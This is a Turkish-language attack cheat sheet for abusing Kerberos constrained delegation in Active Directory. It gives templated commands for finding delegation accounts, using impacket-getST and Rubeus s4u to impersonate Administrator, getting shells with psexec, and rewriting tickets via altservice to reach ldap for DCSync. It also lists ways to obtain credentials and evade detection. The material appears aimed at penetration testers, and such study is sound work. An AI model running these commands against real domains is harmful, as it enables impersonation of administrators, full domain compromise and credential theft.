Constrained Delegation (Kısıtlı Yetki Devri) — S4U2Self/S4U2Proxy ile Impersonation
msDS-AllowedToDelegateTo tanımlı bir hesap (kullanıcı veya bilgisayar) ele geçirildiğinde, S4U2Self + S4U2Proxy ile herhangi bir kullanıcı (ör. Administrator) adına izinli SPN'lere bilet alınabilir. impacket-getST -spn ... -impersonate Administrator veya Rubeus s4u kullanılır; protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION) gerekir.
- msDS-AllowedToDelegateTo özelliği dolu olan bir hesabın parolası VEYA NT hash'i VEYA AES anahtarı
- İzin verilen SPN'in hedef host'una ağ erişimi (88/TCP Kerberos)
- İmpersonate edilen kullanıcı 'sensitive / cannot be delegated' veya Protected Users grubunda OLMAMALI
- Clock skew DC ile < 5 dakika
Komutlar
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --trusted-for-delegation Get-DomainUser -TrustedToAuth -Properties samaccountname,msds-allowedtodelegateto; Get-DomainComputer -TrustedToAuth -Properties dnshostname,msds-allowedtodelegateto ldapsearch -x -H ldap://{{DC_IP}} -D "{{USER}}@{{DOMAIN}}" -w '{{PASS}}' -b "DC={{DOMAIN}},DC=local" "(msDS-AllowedToDelegateTo=*)" sAMAccountName msDS-AllowedToDelegateTo userAccountControl impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator '{{DOMAIN}}/{{USER}}:{{PASS}}' impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator -hashes :{{NTHASH}} '{{DOMAIN}}/{{USER}}' KRB5CCNAME=Administrator@cifs_{{DC_HOST}}.ccache impacket-psexec -k -no-pass {{DOMAIN}}/Administrator@{{DC_HOST}} Rubeus.exe s4u /user:{{USER}} /rc4:{{NTHASH}} /impersonateuser:Administrator /msdsspn:cifs/{{DC_HOST}} /ptt Rubeus.exe s4u /user:{{USER}} /rc4:{{NTHASH}} /impersonateuser:Administrator /msdsspn:cifs/{{DC_HOST}} /altservice:host,ldap,http,wsman /ptt Constrained Delegation Nedir
Kısıtlı yetki devri, bir hesabın yalnızca msDS-AllowedToDelegateTo listesindeki belirli SPN’lere kullanıcı adına bilet alabilmesidir. İki Kerberos uzantısı kullanılır: S4U2Self (hesap, herhangi bir kullanıcı adına KENDİSİNE forwardable bilet üretir — protocol transition) ve S4U2Proxy (bu bileti kullanarak izin verilen hedef SPN’e service ticket alır). Eğer hesapta TRUSTED_TO_AUTH_FOR_DELEGATION (protocol transition) bayrağı varsa, kullanıcının önceden Kerberos ile auth etmesine gerek kalmadan herhangi bir kullanıcı impersonate edilebilir.
Saldırı Mantığı
AllowedToDelegateTo özelliği dolu bir hesabın parola/hash/AES anahtarını ele geçirirsen, Administrator (veya herhangi bir privileged kullanıcı) adına izinli SPN’e bilet alıp o servise tam yetkiyle erişebilirsin.
Adımlar
- Enum: msDS-AllowedToDelegateTo dolu hesapları ve içindeki izinli SPN’leri bul (ldapsearch filtresi, PowerView -TrustedToAuth, BloodHound ‘Constrained Delegation’ edge).
- Credential: Delegation hesabının PASS / NTHASH / AES anahtarını edin (kerberoast, password spray, dump vs.).
- S4U bilet al: Linux’ta impacket-getST -spn <hedef_SPN> -impersonate Administrator; Windows’ta Rubeus s4u. Çıktı ccache veya /ptt ile enjekte edilen TGS.
- Erişim: KRB5CCNAME ile bileti yükle ve -k -no-pass psexec/wmiexec/smbexec ile hedef servise eriş.
- Yükselt (altservice): S4U2Proxy ile gelen TGS’in service adı şifrelenmediği için, cifs için alınan bilet host/ldap/http/wsman gibi başka SPN’lere yeniden yazılabilir (Rubeus /altservice). DC’de ldap SPN’i elde edilirse DCSync mümkün olur.
SPN Formatı ve Gotcha’lar
- SPN formatı: Hedef SPN’i msDS-AllowedToDelegateTo’da göründüğü gibi yaz (servis/host[:port][/realm]). Yanlış case veya FQDN/short name uyuşmazlığı KDC_ERR_BADOPTION verir.
- altservice gücü: S4U2Proxy bileti içindeki sname denetlenmediğinden cifs -> ldap/host/http dönüşümü constrained delegation’ı ‘unconstrained’e yakın güçlü kılar. cifs bileti SMB, host bileti task/service, ldap bileti DCSync için.
- Protected Users / Sensitive: İmpersonate edeceğin kullanıcı ‘Account is sensitive and cannot be delegated’ (NOT_DELEGATED) işaretliyse veya Protected Users grubundaysa S4U başarısız olur — başka bir DA/privileged kullanıcı seç.
- Clock skew: KRB_AP_ERR_SKEW için DC ile saat senkronu şart (sudo ntpdate {{DC_IP}}).
- KRB5CCNAME: impacket-getST .ccache üretir; sonraki tüm impacket -k komutlarından önce export KRB5CCNAME=… yap, aksi halde tools parola ister.
- rc4 vs aes: Rubeus s4u’da /rc4 (NT hash) çalışır ama AES-only ortamlarda /aes256 kullan; RC4 downgrade tespit edilebilir (OPSEC).